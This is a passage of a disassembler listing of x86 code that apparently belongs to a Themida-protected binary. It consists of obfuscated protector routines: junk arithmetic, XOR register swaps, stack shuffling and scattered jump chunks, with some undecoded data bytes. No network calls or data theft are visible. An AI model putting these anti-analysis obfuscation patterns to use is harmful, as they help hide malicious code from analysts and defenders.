		add	esp, 2
		push	ax
		mov	ah, 7Dh
		jmp	loc_597149
; ---------------------------------------------------------------------------


loc_58BD34:				; CODE XREF: sub_59196D+165Aj
					; sub_59196D+4310j
		add	ebx, 675249ADh
		add	ebx, 64F612A1h
		sub	eax, ebx
		pop	ebx
		jmp	loc_597942
; ---------------------------------------------------------------------------


loc_58BD48:				; CODE XREF: sub_59196D-564Dj
		shr	edx, 1
		and	edx, 57234C7Eh
		neg	edx
		not	edx
		jmp	loc_595980
; ---------------------------------------------------------------------------


loc_58BD59:				; CODE XREF: sub_59196D+4395j
		mov	ah, byte ptr [esp+26h+var_26]
		add	esp, 2
		sub	ah, 4Eh
		add	bl, ah
		jmp	loc_58EC8F
; ---------------------------------------------------------------------------


loc_58BD69:				; CODE XREF: sub_59196D-144j
		sub	ebp, edi
		pop	edi
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		sub	eax, 1
		xchg	eax, ebp
		push	ecx
		mov	ecx, 14D30737h
		or	ecx, 4BDC4897h
		jnp	loc_592C41
		xor	ecx, 6BE52D20h
		add	ebp, ecx
		pop	ecx
		push	ebx
		mov	ebx, 4061436Ah
		sub	ebp, ebx
		pop	ebx
		push	ecx
		mov	ecx, 5F07482Bh
		shl	ecx, 6
		push	edi
		jmp	loc_590899
; ---------------------------------------------------------------------------


loc_58BDA9:				; CODE XREF: sub_59196D+25F6j
					; sub_59196D+6B8Fj
		push	2FC3h
		mov	[esp+2Ah+var_2A], eax
		mov	eax, 3BEA5584h
		push	3C2Dh
		mov	[esp+2Eh+var_2E], edx
		jmp	loc_592828
; ---------------------------------------------------------------------------


loc_58BDC3:				; CODE XREF: sub_59196D+1AE2j
		inc	ebx
		add	ebx, 195A1E3Bh
		jmp	loc_597268
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BE0


loc_58BDCF:				; CODE XREF: sub_590BE0-5596j
		add	ebx, 4
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		push	ecx
		push	eax
		mov	eax, 40h
		push	eax
		push	[esp+4+var_4]
		pop	ecx
		jmp	loc_59484A
; END OF FUNCTION CHUNK	FOR sub_590BE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58BDF0:				; CODE XREF: sub_59196D-19D6j
		push	ecx
		mov	ecx, 5F963ED5h
		add	eax, 1E223502h
		add	eax, ecx
		sub	eax, 1E223502h
		pop	ecx
		jmp	loc_5949EE
; ---------------------------------------------------------------------------


loc_58BE08:				; CODE XREF: sub_59196D+2908j
		jnz	loc_590550
		sub	esi, 2C521FCAh
		jmp	loc_5978CA
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		pop	ebx
		sub	ebp, 4
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58BE1D:				; CODE XREF: sub_59196D-3B26j
		neg	al
		jl	loc_58C868
		neg	al
		jmp	loc_58D714
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	[esp], edi
		push	ebp
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58BE30:				; CODE XREF: sub_59196D-39CCj
		mov	[esp+2Eh+var_2E], ebp
		mov	ebp, 4F666180h
		add	eax, ebp
		mov	ebp, [esp+2Eh+var_2E]
		push	490Fh
		mov	[esp+32h+var_32], esi
		mov	esi, esp
		jmp	loc_597A17
; ---------------------------------------------------------------------------


loc_58BE4C:				; CODE XREF: sub_59196D-E8Fj
		push	720Ah
		mov	[esp+36h+var_36], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+36h+var_36]
		xor	[esp+36h+var_36], esi
		xor	esi, [esp+36h+var_36]
		jmp	loc_58C69E
; ---------------------------------------------------------------------------


loc_58BE6D:				; CODE XREF: sub_59196D-5114j
		and	eax, esi
		mov	esi, [esp+36h+var_36]
		add	esp, 4
		or	eax, eax
		jz	loc_594C84
		push	dword ptr [edi+1Ch]
		push	edi
		push	ebp
		push	5B6715BFh
		pop	ebp
		sub	ebp, 2503B652h
		jmp	loc_597504
; ---------------------------------------------------------------------------


loc_58BE93:				; CODE XREF: sub_59196D+3982j
		add	eax, 4
		xchg	eax, [esp+3Eh+var_40+2]
		jmp	loc_58C004
; ---------------------------------------------------------------------------


loc_58BE9E:				; CODE XREF: sub_59196D+3727j
		pop	ebp
		add	eax, ecx
		sub	eax, 3ED401D9h
		mov	ecx, [esp+3Ah+var_3C+2]
		add	esp, 4
		jmp	loc_5920E5
; ---------------------------------------------------------------------------


loc_58BEB1:				; CODE XREF: sub_59196D-2A5Bj
		pop	ebx
		push	5002h
		mov	[esp+36h+var_36], eax
		jmp	loc_595E1E
; ---------------------------------------------------------------------------


loc_58BEBF:				; CODE XREF: sub_59196D+6847j
		push	363Fh
		mov	[esp+3Ah+var_3C+2], esp
		push	ebp
		mov	ebp, 4
		add	[esp+3Eh+var_3C+2], ebp
		pop	ebp
		push	[esp+3Ah+var_3C+2]
		mov	ebp, [esp+3Eh+var_40+2]
		add	esp, 4
		add	esp, 4
		add	ebp, 4
		jmp	loc_59559C
; ---------------------------------------------------------------------------


loc_58BEE9:				; CODE XREF: sub_59196D-6073j
		add	esi, 3721EA2h
		jmp	loc_596699
; ---------------------------------------------------------------------------


loc_58BEF4:				; CODE XREF: sub_59196D+15B5j
		shr	esi, 3
		jmp	loc_593237
; ---------------------------------------------------------------------------


loc_58BEFC:				; CODE XREF: sub_59196D+30F4j
		add	ebx, edx
		jmp	loc_58F217
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58BF03	proc near		; DATA XREF: Themida_:0058B208o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0058BB2B SIZE 00000006 BYTES

		mov	eax, [esp+0]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	18B6h
		mov	[esp+8+var_8], ebx
		push	ecx
		jmp	loc_58BB2B
sub_58BF03	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58BF1D:				; CODE XREF: sub_59196D+D2Bj
		mov	[esp+14h+var_16+2], eax
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58BF25:				; CODE XREF: sub_59196D+4A74j
		push	eax
		mov	eax, 1F4A15D8h
		xor	eax, 4F2A1A75h
		inc	eax
		push	edi
		mov	edi, 56EB3CDDh
		not	edi
		jmp	loc_5931B6
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590792


loc_58BF3E:				; CODE XREF: sub_590792+Fj
		push	ecx
		mov	ch, bl
		mov	dl, ch
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		push	ebx
		mov	bl, dl
		jmp	loc_58B444
; END OF FUNCTION CHUNK	FOR sub_590792
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58BF54:				; CODE XREF: sub_59196D-5743j
		mov	ecx, 7B082521h
		or	edx, ecx
		pop	ecx
		not	edx
		jmp	loc_597CCF
; ---------------------------------------------------------------------------


loc_58BF63:				; CODE XREF: sub_59196D-3B83j
		pop	ecx
		add	eax, ebx
		push	edx
		mov	edx, 5CDB3566h
		xor	edx, 3C4C1F69h
		sub	eax, edx
		jmp	loc_58BA3B
; ---------------------------------------------------------------------------


loc_58BF79:				; CODE XREF: sub_59196D-4A43j
					; sub_59196D+7Dj
		push	esp
		pop	esi
		jmp	loc_5963E6
; ---------------------------------------------------------------------------


loc_58BF80:				; CODE XREF: sub_59196D-6506j
		sub	ebp, 0FF7D7ECDh
		sub	edx, 53815C19h
		jmp	loc_58B498
; ---------------------------------------------------------------------------


loc_58BF91:				; CODE XREF: sub_59196D+4C55j
		or	ebp, 0D7E1559h
		add	ebp, 0D1160AD2h
		or	ebx, ebp
		pop	ebp
		or	ebx, 714E05F5h
		not	ebx
		push	edi
		mov	edi, 47572A34h
		or	edi, 2FF24D04h
		jmp	loc_593E19
; ---------------------------------------------------------------------------


loc_58BFB9:				; CODE XREF: sub_59196D+29E7j
		mov	eax, 1CA45C17h
		add	[esp+8+var_4], 5964F98h
		add	[esp+8+var_4], eax
		sub	[esp+8+var_4], 5964F98h
		pop	eax
		pop	ecx
		jmp	loc_59828B
; ---------------------------------------------------------------------------


loc_58BFD9:				; CODE XREF: sub_59196D-3D92j
		neg	eax
		add	eax, 7E2ABE6h
		mov	ebp, eax
		pop	eax
		jmp	loc_595FD6
; ---------------------------------------------------------------------------


loc_58BFE8:				; CODE XREF: sub_59196D-3B42j
					; sub_59196D+38D7j
		push	ecx
		push	78A56B14h
		pop	ecx
		shr	ecx, 6
		shr	ecx, 1
		neg	ecx
		jmp	loc_58EF1C
; ---------------------------------------------------------------------------


loc_58BFFB:				; CODE XREF: sub_59196D-1E95j
		add	esp, 4
		push	eax
		jmp	loc_58B781
; ---------------------------------------------------------------------------


loc_58C004:				; CODE XREF: sub_59196D-5FA3j
					; sub_59196D-5AD4j
		pop	esp
		sub	ebp, 65F2FB39h
		and	eax, ebp
		pop	ebp
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_58F17A
; ---------------------------------------------------------------------------


loc_58C01B:				; CODE XREF: sub_59196D-65B2j
		add	al, 0F0h
		sub	al, dh
		sub	al, 0F0h
		jmp	loc_59065B
; ---------------------------------------------------------------------------


loc_58C026:				; CODE XREF: sub_59196D+3C1Bj
		push	0E96485Dh
		pop	esi
		push	esi
		push	0C814FBDh
		mov	esi, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		xor	esi, 21707E0h
		push	esi
		xor	[esp+10h+var_12+2], 74B56057h
		pop	ebx
		xor	ebx, 74B56057h
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_58C3A1
; ---------------------------------------------------------------------------


loc_58C067:				; CODE XREF: sub_59196D+61CBj
		pop	ecx
		jmp	loc_59202A
; ---------------------------------------------------------------------------


loc_58C06D:				; CODE XREF: sub_59196D-461j
		mov	ebx, 9A6A894Ah
		sub	ecx, ebx
		jmp	loc_596C56
; ---------------------------------------------------------------------------


loc_58C079:				; CODE XREF: sub_59196D-25B1j
		xor	ebx, 4A5A888h
		mov	ecx, ebx
		pop	ebx
		add	eax, 5AD330D4h
		sub	eax, ecx
		push	edx
		mov	edx, 5D39183Dh
		dec	edx
		sub	edx, 447C4A3Bh
		jmp	loc_594EB5
; ---------------------------------------------------------------------------


loc_58C09B:				; CODE XREF: sub_59196D-45BBj
		pop	esp
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	eax
		push	edx
		sub	esp, 4
		jmp	loc_58C62B
; ---------------------------------------------------------------------------


loc_58C0AF:				; CODE XREF: sub_59196D-4907j
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_58D1A3
; ---------------------------------------------------------------------------


loc_58C0BD:				; CODE XREF: sub_59196D+2E32j
		add	esp, 4
		mov	ch, bh
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		add	ch, 22h
		sub	esp, 4
		mov	[esp+8+var_8], eax
		jmp	loc_59302A
; ---------------------------------------------------------------------------


loc_58C0D6:				; CODE XREF: sub_59196D+1AA5j
		add	[esp+8+var_8], 4
		pop	[esp+8+var_8]
		push	edi
		mov	edi, 4
		add	[esp+8+var_4], edi
		jmp	loc_594685
; ---------------------------------------------------------------------------


loc_58C0EC:				; CODE XREF: sub_59196D-4D1Bj
		add	eax, ebp
		jmp	loc_592E10
; ---------------------------------------------------------------------------


loc_58C0F3:				; CODE XREF: sub_59196D-767j
		jmp	loc_59065B
; ---------------------------------------------------------------------------


loc_58C0F8:				; CODE XREF: sub_59196D+5FABj
		mov	ecx, 6344303Eh
		sub	edx, ecx
		pop	ecx
		jmp	loc_59566B
; ---------------------------------------------------------------------------


loc_58C105:				; CODE XREF: sub_59196D-499Bj
		sub	edi, 0FFFFFFFFh
		xor	edi, 3B1D0D93h
		add	eax, edi
		pop	edi
		push	esi
		mov	esi, 67140081h
		shr	esi, 2
		shr	esi, 4
		or	esi, 1BD97234h
		and	esi, 76EA10B9h
		jmp	loc_58F377
; ---------------------------------------------------------------------------


loc_58C131:				; CODE XREF: sub_59196D-629Dj
		neg	al
		jmp	loc_5908DD
; ---------------------------------------------------------------------------


loc_58C138:				; CODE XREF: sub_59196D-D0Aj
		push	esp
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, 4
		sub	edi, 1E493EC7h
		jmp	loc_5925E5
; ---------------------------------------------------------------------------


loc_58C151:				; CODE XREF: sub_59196D+A9Fj
		pop	ebp
		pop	[esp+14h+var_16+2]
		pop	esp
		xor	ebp, 7D7F6EBFh
		and	eax, ebp
		jmp	loc_593393
; ---------------------------------------------------------------------------


loc_58C163:				; CODE XREF: sub_59196D+6C06j
		sub	eax, esi
		pop	esi
		sub	eax, 7F40214Eh
		add	eax, edi
		add	eax, 7F40214Eh
		add	eax, 54D335EFh
		jmp	loc_58BBD9
; ---------------------------------------------------------------------------


loc_58C17C:				; CODE XREF: sub_59196D-1855j
		pop	ebx
		add	al, bl
		push	edx
		mov	dl, 0F7h
		xor	dl, 9Ah
		sub	dl, 12h
		sub	al, dl
		mov	edx, [esp+8+var_8]
		add	esp, 4
		sub	al, 62h
		push	ecx
		mov	cl, 0FCh
		push	ecx
		jmp	loc_5924C1
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58C19E	proc near		; CODE XREF: sub_59196D-2400j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00590245 SIZE 0000000E BYTES

		push	ebx
		push	edx
		mov	edx, 80A29599h
		mov	ebx, edx
		pop	edx
		add	edi, ebx
		pop	ebx
		push	edi
		pop	ebp
		mov	edi, [esp+0]
		jmp	loc_590245
sub_58C19E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aN1RNhBAhUh	db '╜1ьR╨╧NH&│бahхuh$"',0
		dd 240C8900h, 9CD68h, 241C8900h, 0C87D16BBh, 3E3C11Ch
		dd 0F07EBC1h, 6AC88h, 0E2CB8100h, 0F0A8518h, 2D268Ah, 69D7E900h
		dd 0C9810000h, 48132CAAh, 20242C81h, 68074855h,	6D96h
		dd 53243C89h, 4D538A68h, 0B8505B64h, 0D8B48DAh,	0D0F7D0F7h
		dd 2503E8C1h, 1C4149D7h, 73CE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C229:				; CODE XREF: sub_59196D-27E7j
		push	ecx
		jmp	loc_58BF54
; ---------------------------------------------------------------------------


loc_58C22F:				; CODE XREF: sub_59196D+10C8j
		sub	cl, 3Bh
		neg	cl
		sub	cl, 14h
		inc	cl
		sub	cl, 42h
		add	al, cl
		pop	ecx
		jmp	loc_592782
; ---------------------------------------------------------------------------


loc_58C244:				; CODE XREF: sub_59196D+2026j
		mov	edi, 64A47497h
		neg	edi
		and	edi, 3FF4228Fh
		neg	edi
		push	eax
		mov	eax, 4728364Bh
		jmp	loc_59138F
; ---------------------------------------------------------------------------


loc_58C25E:				; CODE XREF: sub_59196D-632Fj
					; sub_59196D:loc_5938AEj
		mov	edx, ebp
		push	[esp+18h+var_1A+2]
		pop	ebp
		push	esi
		mov	esi, esp
		jmp	loc_59158D
; ---------------------------------------------------------------------------


loc_58C26C:				; CODE XREF: sub_59196D-42C7j
		add	al, 0CCh
		add	al, 5Eh
		push	[esp+1Ch+var_1E+2]
		pop	edx
		jmp	loc_591539
; ---------------------------------------------------------------------------


loc_58C279:				; CODE XREF: sub_59196D-601Ej
		pop	ebx
		mov	eax, [esp+18h+var_1A+2]
		add	esp, 4
		xor	al, dl
		push	[esp+14h+var_16+2]
		pop	edx
		add	esp, 4
		jmp	loc_58C85E
; ---------------------------------------------------------------------------


loc_58C28E:				; CODE XREF: sub_59196D+23FBj
		jmp	loc_59744D
; ---------------------------------------------------------------------------


loc_58C293:				; CODE XREF: sub_59196D:loc_597516j
		not	cl
		push	edx
		mov	dl, 24h
		shl	dl, 7
		shl	dl, 2
		jmp	loc_59182E
; ---------------------------------------------------------------------------


loc_58C2A3:				; CODE XREF: sub_59196D+3318j
		push	7F66h
		mov	[esp+18h+var_1A+2], esp
		jmp	loc_58E5A7
; ---------------------------------------------------------------------------


loc_58C2B0:				; CODE XREF: sub_59196D-84Ej
		jmp	loc_59735D
; ---------------------------------------------------------------------------


loc_58C2B5:				; CODE XREF: sub_59196D+2813j
		sub	eax, 4C9973ABh
		sub	eax, ebp
		add	eax, 4C9973ABh
		pop	ebp
		pop	esi
		push	39E0h
		jmp	loc_58CB4A
; ---------------------------------------------------------------------------


loc_58C2CD:				; CODE XREF: sub_59196D+65A3j
		push	6ECB2EF3h
		pop	edi
		inc	edi
		js	loc_58FE7A
		add	edi, 9136D10Ch
		push	ecx
		push	2B0Fh
		mov	[esp+1Ch+var_1E+2], edi
		mov	ecx, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	loc_58D1AE
; ---------------------------------------------------------------------------


loc_58C2F7:				; CODE XREF: sub_59196D+30BDj
		mov	bl, 85h
		sub	bl, 84h
		jmp	loc_5967D4
; ---------------------------------------------------------------------------


loc_58C301:				; CODE XREF: sub_59196D-143Fj
		sub	edx, 3E4112A9h
		add	edx, eax
		jmp	loc_596212
; ---------------------------------------------------------------------------


loc_58C30E:				; CODE XREF: sub_59196D-A62j
		push	esp
		pop	[esp+1Ch+var_1E+2]
		add	[esp+18h+var_1A+2], 4
		pop	eax
		push	edx
		mov	edx, 8325EEDh
		jmp	loc_58BD48
; ---------------------------------------------------------------------------


loc_58C325:				; CODE XREF: sub_59196D+5132j
		inc	ebx
		and	ebx, 3D095FB5h
		add	ebx, 0CBF7B1E3h
		jmp	loc_590814
; ---------------------------------------------------------------------------


loc_58C337:				; CODE XREF: sub_59196D+2082j
		neg	bh
		push	edx
		mov	dl, 3Eh
		add	dl, 27h
		shr	dl, 1
		push	ebx
		mov	bh, 58h
		sub	bh, 3Dh
		and	dl, bh
		pop	ebx
		jmp	loc_59526B
; ---------------------------------------------------------------------------


loc_58C34F:				; CODE XREF: sub_59196D-BB2j
		or	dx, 542Dh
		sub	dx, 36CCh
		xor	bx, dx
		jmp	loc_590415
; ---------------------------------------------------------------------------


loc_58C361:				; CODE XREF: sub_59196D-63B9j
		ja	loc_5917E4
		sub	ebp, 57CD3593h
		jns	loc_58D19A
		mov	bh, cl
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58C376	proc near		; CODE XREF: sub_59196D-2CE3j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058D40A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E462 SIZE 00000009 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		add	al, bl
		sub	al, 3Ch
		add	al, 0D2h
		push	edx
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	al, 2Ah
		mov	dh, 0F9h
		push	eax
		mov	al, 2Ch
		dec	al
		jmp	loc_58D40A
sub_58C376	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C3A1:				; CODE XREF: sub_59196D-590Bj
		xor	ebx, esi
		push	[esp+14h+var_16+2]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+18h+var_1A+2]
		pop	esp
		jmp	loc_592EAD
; ---------------------------------------------------------------------------


loc_58C3BF:				; CODE XREF: sub_59196D-1E9Ej
		xchg	ebx, [esp+14h+var_16+2]
		pop	esp
		jmp	loc_593401
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590792


loc_58C3C8:				; CODE XREF: sub_590792-40C6j
		mov	[esp+4+var_4], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		sub	edi, 4
		jmp	loc_58B695
; END OF FUNCTION CHUNK	FOR sub_590792
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C3E1:				; CODE XREF: sub_59196D-4D60j
		mov	edi, [esp+10h+var_12+2]
		add	esp, 4
		jmp	loc_593EBC
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58C3EF	proc near		; CODE XREF: sub_59196D+96Dj
					; sub_59196D+4993j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0058D729 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 00590091 SIZE 0000000C BYTES

		push	ebx
		push	3C11h
		jmp	loc_58D729
sub_58C3EF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C3FA:				; CODE XREF: sub_59196D+503Cj
		ja	loc_595CA6
		xor	edx, 10004CF5h
		mov	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		xor	esi, [esp+4+var_4]


loc_58C40F:				; CODE XREF: sub_59196D-4171j
		push	ecx
		mov	ecx, 59EC358Eh
		add	edi, ecx
		pop	ecx
		shr	edi, 6
		xor	edi, 736EAEB8h
		mov	ebx, edi
		pop	edi
		jmp	loc_5947E0
; ---------------------------------------------------------------------------


loc_58C429:				; CODE XREF: sub_59196D-29A1j
		pop	esp
		jmp	loc_598666
; ---------------------------------------------------------------------------


loc_58C42F:				; CODE XREF: sub_59196D-2DC9j
		pop	esi
		add	esp, 4
		add	eax, 627504FDh
		add	eax, 7E146452h
		add	eax, edi
		sub	eax, 7E146452h
		sub	eax, 627504FDh
		jmp	loc_5978A0
; ---------------------------------------------------------------------------


loc_58C451:				; CODE XREF: sub_59196D-6142j
					; sub_59196D-404Aj
		mov	word ptr [esp+10h+var_12+2], dx
		mov	dl, 12h
		add	bl, dl
		pop	dx
		add	bl, al
		sub	bl, 12h
		push	7FEDh
		mov	[esp+12h+var_12], edx
		mov	dl, 9Eh
		push	cx
		mov	ch, 0F6h
		add	bl, ch
		pop	cx
		add	bl, 1Fh
		add	bl, dl
		sub	bl, 1Fh
		jmp	loc_593A17
; ---------------------------------------------------------------------------


loc_58C47F:				; CODE XREF: sub_59196D+57D7j
		mov	esi, esp
		jmp	loc_5958BA
; ---------------------------------------------------------------------------


loc_58C486:				; CODE XREF: sub_59196D+105j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	[esp+1Ah+var_16]
		jmp	loc_5983FB
; ---------------------------------------------------------------------------


loc_58C49D:				; CODE XREF: sub_59196D+1232j
		add	eax, ecx
		sub	eax, 6BF749A8h
		pop	ecx
		xchg	eax, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		jmp	loc_58E9E2
; ---------------------------------------------------------------------------


loc_58C4B0:				; CODE XREF: sub_59196D+2899j
		cmp	dword ptr [edi+20h], 0
		jz	loc_592EAD
		push	ebx
		push	eax
		mov	eax, 22F4645Dh
		not	eax
		shl	eax, 6
		push	edx
		mov	edx, 72A72AD3h
		jmp	loc_58E19F
; ---------------------------------------------------------------------------


loc_58C4D1:				; CODE XREF: sub_59196D+4CD5j
		mov	[esp+26h+var_26], eax
		push	edx
		mov	dh, 0FDh
		mov	al, dh
		pop	edx
		add	bl, al
		pop	eax
		add	bl, 0C7h
		jmp	loc_593A66
; ---------------------------------------------------------------------------


loc_58C4E5:				; CODE XREF: sub_59196D-185Cj
		pop	esi
		pop	[esp+1Eh+var_1E]
		pop	esp
		jmp	loc_5907E5
; ---------------------------------------------------------------------------


loc_58C4EF:				; CODE XREF: sub_59196D+6007j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+16h+var_16]
		pop	esp
		and	eax, ebp
		push	[esp+12h+var_12]
		jmp	loc_58E348
; ---------------------------------------------------------------------------


loc_58C506:				; CODE XREF: sub_59196D-74Cj
		mov	ecx, 32A1C71Dh
		sub	edi, ecx
		pop	ecx
		add	ebx, edi
		pop	edi
		jmp	loc_58D5D3
; ---------------------------------------------------------------------------


loc_58C516:				; CODE XREF: sub_59196D+1B5Dj
		push	dword ptr [esp+0]
		pop	esi
		jmp	loc_597F48
; ---------------------------------------------------------------------------


loc_58C51F:				; CODE XREF: sub_59196D-34A1j
		add	esp, 4
		add	ebx, 499F69D2h
		add	ebx, eax
		sub	ebx, 499F69D2h
		jmp	loc_595F18
; ---------------------------------------------------------------------------


loc_58C535:				; CODE XREF: sub_59196D+3B1Aj
		push	edx
		push	[esp+0Eh+var_C+2]
		pop	edx
		pop	dword ptr [esp+0]
		mov	esp, [esp+0Ah+var_C+2]
		push	esp
		pop	dword ptr [esp+0]
		push	7105h
		jmp	loc_5958E1
; ---------------------------------------------------------------------------


loc_58C54F:				; CODE XREF: sub_59196D-18C0j
		mov	ah, 0A4h
		jmp	loc_58B498
; ---------------------------------------------------------------------------


loc_58C556:				; CODE XREF: sub_59196D-3A49j
		mov	[esp+0], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_597AEE
; ---------------------------------------------------------------------------


loc_58C566:				; CODE XREF: sub_59196D+5D99j
		pop	edx
		add	ebp, 18C273D6h
		jmp	loc_590E36
; ---------------------------------------------------------------------------


loc_58C572:				; CODE XREF: sub_59196D+5D23j
		sub	ebx, 9C148D21h
		mov	ecx, ebx
		jmp	loc_58EB3B
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58C57F	proc near		; CODE XREF: sub_59196D-39E6j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058CCD6 SIZE 00000009 BYTES

		sub	esp, 4
		jmp	loc_58CCD6
sub_58C57F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C58A:				; CODE XREF: sub_59196D+4F04j
		mov	[esp+0], edi
		push	edx
		mov	edi, [esp+12h+var_12]
		jmp	loc_59350D
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6929h
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		mov	edi, 6B1D2CEAh
		or	edi, 238C7B7Ch
		dec	edi
		dec	edi
		push	ebx
		mov	ebx, 7BA42BCFh
		jmp	loc_5976BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C5C3:				; CODE XREF: sub_59196D-18Ej
		add	ax, di
		push	cx
		jmp	loc_591E8E
; ---------------------------------------------------------------------------


loc_58C5CD:				; CODE XREF: sub_59196D-341Ej
		mov	esi, 4
		jmp	loc_5914CE
; ---------------------------------------------------------------------------


loc_58C5D7:				; CODE XREF: sub_59196D+69C4j
		push	eax
		push	[esp+18h+var_16+2]
		pop	eax
		pop	[esp+18h+var_1A+2]
		mov	esp, [esp+14h+var_16+2]
		movsx	ecx, ax
		jmp	loc_591FF8
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59069A


loc_58C5EB:				; CODE XREF: sub_59069A-1AE3j
		sub	eax, ebx
		pop	ebx
		shr	eax, 7
		sub	eax, 0E4E11028h
		jmp	loc_5939C6
; END OF FUNCTION CHUNK	FOR sub_59069A
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		jmp	loc_593FBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C602:				; CODE XREF: sub_59196D+4042j
		xor	ebx, 0B03EDDC3h
		and	ebp, ebx
		pop	ebx
		jmp	loc_592005
; ---------------------------------------------------------------------------


loc_58C610:				; CODE XREF: sub_59196D-6274j
		dec	eax
		inc	eax
		add	eax, 793840B0h
		xor	eax, 6F145D9Ah
		add	ebp, eax
		jmp	loc_592C77
; ---------------------------------------------------------------------------


loc_58C623:				; CODE XREF: sub_59196D-4A3Dj
		add	dl, 0FFh
		jmp	loc_596E80
; ---------------------------------------------------------------------------


loc_58C62B:				; CODE XREF: sub_59196D-58C3j
		mov	[esp+0Ch+var_C], esp
		jmp	loc_5916C6
; ---------------------------------------------------------------------------


loc_58C633:				; CODE XREF: sub_59196D+64DEj
		neg	al
		jp	loc_594CCA
		jmp	loc_59350D
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		db  66h	; f
		db 0C1h	; а
		db 0E7h	; Г
		db    8
		db  66h	; f
		db 0C1h	; а
		db 0E7h	; Г
		db    5
; ---------------------------------------------------------------------------
		mov	bl, bh
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C64A:				; CODE XREF: sub_59196D+2495j
		push	[esp+0Ch+var_C]
		pop	ebx
		add	esp, 4
		pop	[esp+8+var_8]
		pop	esp
		add	esp, 4
		idiv	ecx
		push	7870h
		mov	[esp+0], edx
		push	eax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58C66F:				; CODE XREF: sub_59196D+801j
		dec	esi
		xor	esi, 17E37384h
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_594071
; ---------------------------------------------------------------------------


loc_58C681:				; CODE XREF: sub_59196D+19A6j
		sub	esi, 239398Bh
		pop	eax
		jmp	loc_594979
; END OF FUNCTION CHUNK	FOR sub_59196D

